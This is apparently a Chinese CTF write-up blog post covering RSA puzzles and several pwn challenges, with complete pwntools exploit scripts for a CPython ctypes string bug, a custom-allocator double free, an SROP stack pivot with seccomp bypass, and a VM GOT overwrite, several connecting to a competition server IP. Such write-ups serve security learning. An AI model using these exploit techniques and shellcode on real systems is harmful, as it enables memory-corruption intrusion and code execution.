题目一

Project Euler RSA Encryption Problem 182

链接：https://projecteuler.net/problem=182

RSA 有可能存在加密但没有加密的情况。

起初遍历所有可能的消息并逐个加密来计算 unconsealed messages count。后来发现有以下公式：

$$ N = (1 + \gcd(e-1, p-1)) \times (1 + \gcd(e-1, q-1)) $$

from gmpy2 import gcd

p = 1009
q = 3643
phi = (p - 1) * (q - 1)

min_unconcealed = p * q
candidates = []

for e in range(3, phi, 2):
    if gcd(e, phi) != 1:
        continue
    count = (1 + gcd(e - 1, p - 1)) * (1 + gcd(e - 1, q - 1))
    if count < min_unconcealed:
        min_unconcealed = count
        candidates = [e]
    elif count == min_unconcealed:
        candidates.append(e)

print(f"min_unconcealed: {min_unconcealed}")
print("e:", end=" ")

for e in candidates[:50]:
    print(f'{e} ', end='')
print()

题目二

Implement RSA

链接：https://www.cryptopals.com/sets/5/challenges/39

只是实现一个简单的 RSA，要求手写 exgcd 和 modinv，那就手写吧。

from gmpy2 import next_prime, powmod
from secrets import randbits
from Crypto.Util.number import bytes_to_long


def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a


def ex_gcd(a, b):
    if b == 0:
        return 1, 0
    else:
        x1, y1 = ex_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return x, y


def inverse(a, m):
    x, _ = ex_gcd(a, m)
    return (x % m + m) % m


e = 3
while True:
    p = next_prime(randbits(64))
    q = next_prime(randbits(64))
    n = p * q
    phi = (p - 1) * (q - 1)
    if gcd(e, phi) == 1:
        break

m = bytes_to_long(b'pwnerik.cn')
assert 0 <= m < n
c = powmod(m, e, n)

d = inverse(e, phi)
msg = powmod(c, d, n)
assert m == msg

这个实现有很多问题，例如 e、p、q 太小。

少见的 Python interpreter pwn，漏洞点也很有意思。

Challenge

Python 3.12.4

import ctypes

from typing import Union, List, Dict

STRPTR_OFFSET = 0x28 
LENPTR_OFFSET = 0x10

class MutableStr:
    pass

class MutableStr:
    def __init__(self, data:str):
        self.data = data
        self.base_ptr = id(self.data)
        self.max_size_str = ""

    def set_max_size(self, max_size_str):
        if int(max_size_str) < ((len(self)+7) & ~7):
            self.max_size_str = max_size_str
        else:
            print("can't set max_size: too big")

    def __repr__(self):
        return self.data

    def __str__(self):
        return self.__repr__()        

    def __len__(self):
        if self.base_ptr is None:
            return 0
        ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))
        return ptr[0]
    
    def __getitem__(self, key:int):
        if not isinstance(key, int):
            raise NotImplementedError
        if key >= len(self) or key < 0:
            raise RuntimeError("get overflow")
        
        return self.data[key]

    def __setitem__(self, key:int, value:int):
        if not isinstance(value, int):
            raise NotImplementedError("only support integer value")

        if not isinstance(key, int):
            raise NotImplementedError("only support integer key")

        if key >= len(self) or key < 0:
            raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}")
        
        strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
        strptr[key] = value
    
    def __add__(self, other:Union[str,MutableStr]):
        if isinstance(other, str):
            return MutableStr(self.data + other)
        
        if isinstance(other, MutableStr):
            return MutableStr(self.data + other.data)
        
        raise NotImplementedError()
    
    def _add_str(self, other):
        if self.max_size_str == "":
            max_size = (len(self)+7) & ~7
        else:
            max_size = int(self.max_size_str)
        if len(self)+len(other) <= max_size:
            other_len = len(other)
            strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            for i in range(other_len):
                strptr[i+len(self)] = otherstrptr[i]
            if len(self)+other_len < max_size:
                # strptr[len(self)+other_len] = 0 
                pass
            ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len
        else:
            print("Full!")
        return self
    
    def __iadd__(self, other):
        if isinstance(other, str):
            return self._add_str(other)
        if isinstance(other, MutableStr):
            return self._add_str(other.data)
        return self

def new_mstring(data:str) -> MutableStr:
    return MutableStr(data)

mstrings:List[MutableStr] = []

def main():
    while True:
        try:
            cmd, data, *values = input("> ").split()
            if cmd == "new":
                mstrings.append(new_mstring(data))
            
            if cmd == "set_max":
                idx = int(values[0])
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx].set_max_size(data)
            
            if cmd == "+":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings.append(mstrings[idx1]+mstrings[idx2])

            if cmd == "+=":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings[idx1] += mstrings[idx2]

            if cmd == "print_max":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].max_size_str)

            if cmd == "print":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].data)

            if cmd == "modify":
                idx = int(data)
                offset = int(values[0])
                val = values[1]
                
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx][offset] = int(val)
        except EOFError:
            break
        except Exception as e:
            print(f"error: {e}")

print("hello!", flush=True)
main()

省流：Python 的 str 不可变，题目用 ctypes 强行实现了一个可变字符串 MutableStr。

赛中手写了个 fuzzer，发现了一个很有意思的崩溃，但一直没看懂。（好在让我意识到 CPython 对单字节字符串有特别的优化，见下文。）

Hello!
> new O
> modify 0 0 0
这样就有可能 SIGSEGV，原因是空指针解引用。

Bug

CPython 给每个单字节字符串预先分配了一个对象，位于 python 本身的数据段，所有相同的单字节字符串都指向同一个地方。如果我们先 new 一个 MutableStr '6'，将另一个 MutableStr 的 max_size_str 设置成 '6'，那么接下来改 '6' 就是改另一个 MutableStr 的 max_size_str。（考虑到最终 getshell 时的一些细节，需要用 6 而不是 7。）

Hello!
> new 6
> new 0
> set_max 6 1
> print_max 1
6
> += 0 0
> print_max 1
66

我们由此可以获得任意长溢出写。

CPython 用 PyASCIIObject 存储纯单字节字符串，记录长度，不依赖尾空字节。如果字符串里有非 ASCII 字符，就会改用 PyCompactUnicodeObject，此时 0x28（STRPTR_OFFSET）偏移处新增两个 8 字节字段 utf8_length 和 utf8。（见源码 Python-3.12.4/Include/cpython/unicodeobject.h）

typedef struct {
    PyObject_HEAD
    Py_ssize_t length;
    Py_hash_t hash;
    struct {
        unsigned int interned:2;
        unsigned int kind:3;
        unsigned int compact:1;
        unsigned int ascii:1;
        unsigned int statically_allocated:1;
        unsigned int :24;
    } state;
} PyASCIIObject;

typedef struct {
    PyASCIIObject _base;
    Py_ssize_t utf8_length;
    char *utf8;
} PyCompactUnicodeObject;

数据紧随这两个结构体之后（8 字节对齐）。CPython 存储 Unicode 字符采用定长编码，通常 UCS2（类似 UTF16），遇到大于两字节的字符则 UCS4。当 utf8 不为 NULL 时，print 就不再重新 UCS2 转 UTF8，而是直接根据这两个字段打印字符串。

但是 MutableStr 没有正确处理非 ASCII 情况，当拼接字符串时仍然向原偏移处即字符串末尾前 16 字节处写入字符串并且增加长度（注意 Python 的字符串长度是指 Unicode 码点数），我们可以结合篡改 max_size_str 从而泄露 Unicode 字符串 data 后任意偏移大约 16 字节的信息。

Exploit

笔者十分不喜欢 glibc heap pwn。以下解法不依赖特定 libc 版本，也没有 🏠。

每个 PyObject 都有一个 PyTypeObject 指针，表示对象的类型，其中有类型信息和各种操作的虚函数指针等。由于动态分配的对象在 pymalloc（不大于 512 字节）或 libc 堆上，所以理所应当可能有相邻对象的 PyTypeObject 指针，从而泄露 PIE 基址。

这里有个细节，当实际使用 print 命令打印这个字符串时，泄露出来的信息会变成其他字符。这是 builtin_print 时编码转换导致的，我们的脚本需要将实际输出的内容看做 UTF8 字节流再转为 UCS2 字节流以获取原始泄露信息。

得到基址后，我们再越界写篡改刚才提到的预先分配好的单字节字符串对象的 PyTypeObject 指针，提前伪造虚函数表，print 伪造了虚函数表的 data 从而劫持控制流。

Exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug', terminal = ['konsole', '-e'])
binary = './python'
io = process([binary, 'mstr.py'])
e = ELF(binary)

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def new_bytes(content: bytes, index: int) -> None:
    io.sendlineafter(b'> ', b'new ' + b'\x00' * len(content))
    context.log_level='info'
    for i, c in enumerate(content):
        io.sendlineafter(b'> ', f'modify {index} {i} {c}'.encode())
    context.log_level='debug'


io.sendlineafter(b'> ', 'new 瑞克'.encode())
io.sendlineafter(b'> ', 'new \x00'.encode()) # for fake type
io.sendlineafter(b'> ', 'new 6'.encode())
io.sendlineafter(b'> ', b'set_max 6 0')
io.sendlineafter(b'> ', b'set_max 6 1')
io.sendlineafter(b'> ', b'+= 2 2')
io.sendlineafter(b'> ', b'+= 2 2') # max size 6666
io.sendlineafter(b'> ', b'new ' + b'\x00' * 20)
io.sendlineafter(b'> ', '+= 0 3'.encode())
io.sendlineafter(b'> ', 'print 0'.encode())

data_leaked = io.recvline(drop=True).decode('utf-8').encode('utf-16-le')
# for i in range(0, len(data_leaked) - 8, 8):
#     print(f'{u64(data_leaked[i: i + 8]):#x}')
e.address = u64(data_leaked[16:24]) - e.sym['PyBytes_Type']
if e.address % 0x1000 != 0:
    exit(1)
print_leaked('elf_base', e.address)

gdb.attach(io, f'awa *{e.sym['_PyRuntime'] + 62000}')
# modify PyTypeObject ptr & construct fake PyTypeObject
new_bytes(b'cafebab' + cyclic(40).replace(b'caaadaaa', p64(e.sym['_PyRuntime'] + 62000)).replace(
    # For some reasons, `ph\x00` will become `sh\x00` (+= 3)
    b'aaaa', b'ph\x00\x00') + b'\x00' * 88 + p64(e.plt['system']), 4)
io.sendlineafter(b'> ', b'+= 1 4')

io.sendlineafter(b'> ', 'new \x01'.encode())  # fake type victim
io.sendlineafter(b'> ', 'print 5'.encode())  # invoke virtual function

io.interactive()

🐍🔥🐍🔥🐍🔥🐍🔥

由于堆布局每次运行时不同，只是有概率成功（如果加上堆喷可以做到每次成功）。以上 exploit 不破坏控制流完整性，即使开启 SHSTK 和 IBT 保护也可以绕过。

malloc

自定义堆内存管理器。

堆块结构：

| Offset | Field          | Description                        |
|---------|----------------|------------------------------------|
| +0      | in_use (1B)    | 1 = allocated, 0 = free            |
| +1..7   | padding        | for 8-byte alignment               |
| +8      | size (4B)      | total size of the chunk            |
| +12..15 | padding        | (align next pointer)               |
| +16     | next (8B)      | pointer to next free chunk         |
| +16     | user data start| returned to caller (malloc result) |

delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。

泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './pwn'
# io = process(binary)
io = connect('45.40.247.139', 18565)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# 0x0f < size <= 0x70
def create(index: int, size: int):
    io.sendlineafter(b'=======================\n', b'1')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))

def delete(index: int):
    io.sendlineafter(b'=======================\n', b'2')
    io.sendlineafter(b'Index\n', itob(index))

def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'=======================\n', b'3')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))
    io.send(content)

def show(index: int):
    io.sendlineafter(b'=======================\n', b'4')
    io.sendlineafter(b'Index\n', itob(index))

def exitit():
    io.sendlineafter(b'=======================\n', b'5')

for i in range(15):
    create(i, 0x10)
for i in range(15):
    delete(i)
delete(0) # double free
show(14) # leak heap (elf)
e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0
print_leaked('elf_base', e.address)
create(0, 0x10)
edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout
for _ in range(16):
    create(1, 0x10)
show(1)
libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780
print_leaked('libc_base', libc.address)

for i in range(15):
    create(i, 0x20)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x20)
edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ
for _ in range(16):
    create(1, 0x20)
show(1)
stack_addr = u64(io.recvline(False).ljust(8, b'\x00'))
print_leaked('stack_addr', stack_addr)

for i in range(15):
    create(i, 0x70)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x70)
edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr
for _ in range(16):
    create(1, 0x70)
# gdb.attach(io, 'b *$rebase(0x18F2)')
edit(0, 0x70, asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_write
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x50
    syscall
"""))
edit(1, 0x70, flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    e.address + 0x5000,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    e.address + 0x56c0
]))

io.interactive()

stack

看起来是堆溢出但其实会栈迁移到堆上，溢出改返回地址爆破 PIE 到 magic。

由于随机数种子来自已知时间，所以可以预测随机数，逆运算得到 PIE 基地址。

最后栈迁移到 bss 段，利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 open、execve 等系统调用，考虑 openat 替代。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './Stack_Over_Flow'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

while True:
    global io, elf_base
    io = connect('45.40.247.139', 30871)
    libc_lib = CDLL('/usr/lib/libc.so.6')
    libc_lib.srand(libc_lib.time(0))
    libc_lib.rand() % 5
    libc_lib.rand() % 5
    key = libc_lib.rand() % 5
    try:
        io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13')
        
        if b'magic' not in io.recvuntil(b':'):
            io.close()
            continue
        e.address = (int(io.recvline(False)) // key) - 0x16b0
        break
    except Exception:
        io.close()
        continue

context.log_level = 'debug'

print_leaked('elf_base', e.address)

syscall = e.address + 0x000000000000134f
fake_stack = e.bss(0x800)

# stack mig
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 0x800
frame.rip = syscall
frame.rsp = fake_stack

# gdb.attach(io, 'b *$rebase(0x16A4)')
io.sendafter(b'luck!\n', flat([
    cyclic(0x100),
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
]))
pause()
io.send(cyclic(0xf))

# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = fake_stack & ~0xfff
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall
frame.rsp = fake_stack + 0x200

xor_rax_pop_rbp = e.address + 0x00000000000016a0

payload = flat([
    0,
    xor_rax_pop_rbp,
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
])
payload = payload.ljust(0x200, b'\x00')
payload += flat([
    0,
    fake_stack + 0x300
])
payload = payload.ljust(0x300, b'\x00')
payload += asm("""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    xor rdx, rdx
    xor r10, r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
""")
pause()
io.send(payload)
pause()
io.send(cyclic(0xf))

io.interactive()

mvmps

参考软件系统安全赛 - vm。

00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49
00000000 {
00000000     char *vmcode;
00000008     int pc;
0000000C     int field_C;
00000010     __int64 regs[6];
00000040     int64_t sp;
00000048     BYTE field_48;
00000049 };

SUB SP 时栈指针下溢，PUSH 和 POP 操作变成 ELF 几乎任意地址读写。

不是 PIE，劫持 GOT 即可。读取 read@got 低 4 字节，减去偏移得到 system 地址，将其写回 read@got 低 4 字节，内存中写入 "sh"，执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vvmm'
# io = process(binary)
io = connect('45.40.247.139', 15101)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE')

def INST(opcode: int, type: int, *args) -> bytes:
    header = p8(opcode << 2 | type)
    if type == 0:
        return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff)
    if type == 1:
        return header + p8(args[0])
    if type == 2:
        return header + p8(args[0]) + p8(args[1])
    if type == 3:
        return header + p8(args[0]) + p32(args[1])
    raise ValueError("Invalid type.")

io.sendafter(b'Please input your opcodes:\n', b''.join([
    INST(0x24, 0, 0x418), # SUB SP (to read@got)
    INST(0x20, 1, 0), # read from elf (read@got)
    INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system)
    INST(0x1f, 1, 0), # write to elf (system)
    INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh")
    INST(0x25, 0, 0x30), # ADD SP (arbitrary mem)
    INST(0x1f, 1, 1), # write to elf ("sh")
    INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem)
    INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh")
]))

io.interactive()